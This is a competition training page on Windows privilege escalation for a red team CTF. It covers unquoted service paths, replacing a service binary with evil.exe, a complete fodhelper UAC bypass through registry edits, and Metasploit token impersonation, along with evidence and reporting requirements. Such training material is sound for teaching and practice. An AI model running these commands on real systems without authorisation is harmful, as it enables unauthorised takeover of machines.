Windows Privilege Escalation

Scope

What this is: Escalating from limited user privileges to SYSTEM or Administrator access on Windows systems.

Competition relevance: Offensive operations (red team CTF). Core skill for gaining full system control.

Why it matters: Privilege escalation is often required to access flags, pivot to other systems, or demonstrate full compromise. Competition scenarios commonly provide low-privileged access requiring escalation.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exploiting Windows system misconfigurations for privilege escalation).

Competition area: Core to the offensive operations area, where you identify and exploit privilege escalation vulnerabilities in Windows systems to gain administrative access.

Offline competence: Windows privilege escalation tools (WinPEAS, PowerUp, Sherlock) work offline once downloaded. PowerShell help (Get-Help, Get-Command) is built-in and works offline. Maintain offline copies of privilege escalation checklists (HackTricks, PayloadsAllTheThings). Windows documentation in C:\Windows\Help.

Competency Matrix

Level	Expectation
Regional	Basic service misconfiguration. Unquoted service paths.
National	Token impersonation. DLL hijacking. Registry autoruns.
Squad/Team Selection	UAC bypass. Kernel exploits. Advanced persistence.

---

Technical Content

Service Misconfigurations

Unquoted service paths:

# Find unquoted paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Exploit
# If service path is C:\Program Files\My App\service.exe
# Create C:\Program.exe (executed first due to space parsing)

Weak service permissions:

# Check service permissions
icacls "C:\Path\To\Service.exe"

# Replace service binary
copy evil.exe "C:\Path\To\Service.exe"

# Restart service
sc stop ServiceName
sc start ServiceName

---

UAC Bypass

fodhelper.exe (Windows 10):

# Registry modification
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start cmd.exe" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

---

DLL Hijacking

Find missing DLLs:

# Use Process Monitor to identify missing DLLs
# Create malicious DLL in search path

---

Registry Autoruns

Check autorun locations:

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

---

Token Impersonation

Incognito (Metasploit):

use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

---

Competition Strategy & Marking

What gets marked:

• See specific task requirements

Evidence and reporting requirements: Evidence and reporting requirements:

• Screenshot showing initial user privileges (whoami, net user username)

• Screenshot showing administrative shell obtained (whoami /priv, net localgroup administrators)

• Method used for escalation with specific vulnerability exploited (service misconfiguration, DLL hijacking, token impersonation)

• Service configuration or registry key that was abused (screenshot of sc qc, reg query output)

• For DLL hijacking: screenshot showing writable path and injected DLL location

• For token impersonation: screenshot showing SeImpersonatePrivilege and exploitation tool output

• Written explanation of privilege escalation vector and business impact

• Clear file naming: winprivesc_user_before.png, winprivesc_system_after.png, winprivesc_exploit_method.png

• Check services first (wmic service list, icacls)

• Look for unquoted paths

• Check autoruns

• Time limit: 30 minutes max

Time-boxed drill suggestion: 40-minute Windows privilege escalation sprint: Given a low-privileged Windows user account, enumerate system misconfigurations (unquoted service paths, writable service binaries, AlwaysInstallElevated registry keys, DLL hijacking opportunities, SeImpersonatePrivilege), exploit the most reliable vector to gain SYSTEM or Administrator privileges using PowerShell or WinPEAS, and document all findings with screenshots showing before/after privilege levels. This drill should be completable offline using PowerShell and pre-downloaded tools.

---

False Flags / Wrong Paths

Common Traps

Time-consuming rabbit holes If a single approach takes more than the allocated time-box, reassess and try alternative methods or move to next task.

Over-complication Competition scenarios test core skills. If solution seems overly complex, look for simpler approach.

---

Practice Checklist

• Can complete core tasks without documentation
• Understand key concepts and techniques
• Can document findings with proper evidence format
• Can complete realistic scenarios within time limits

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../00-roadmaps/[stage].md

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references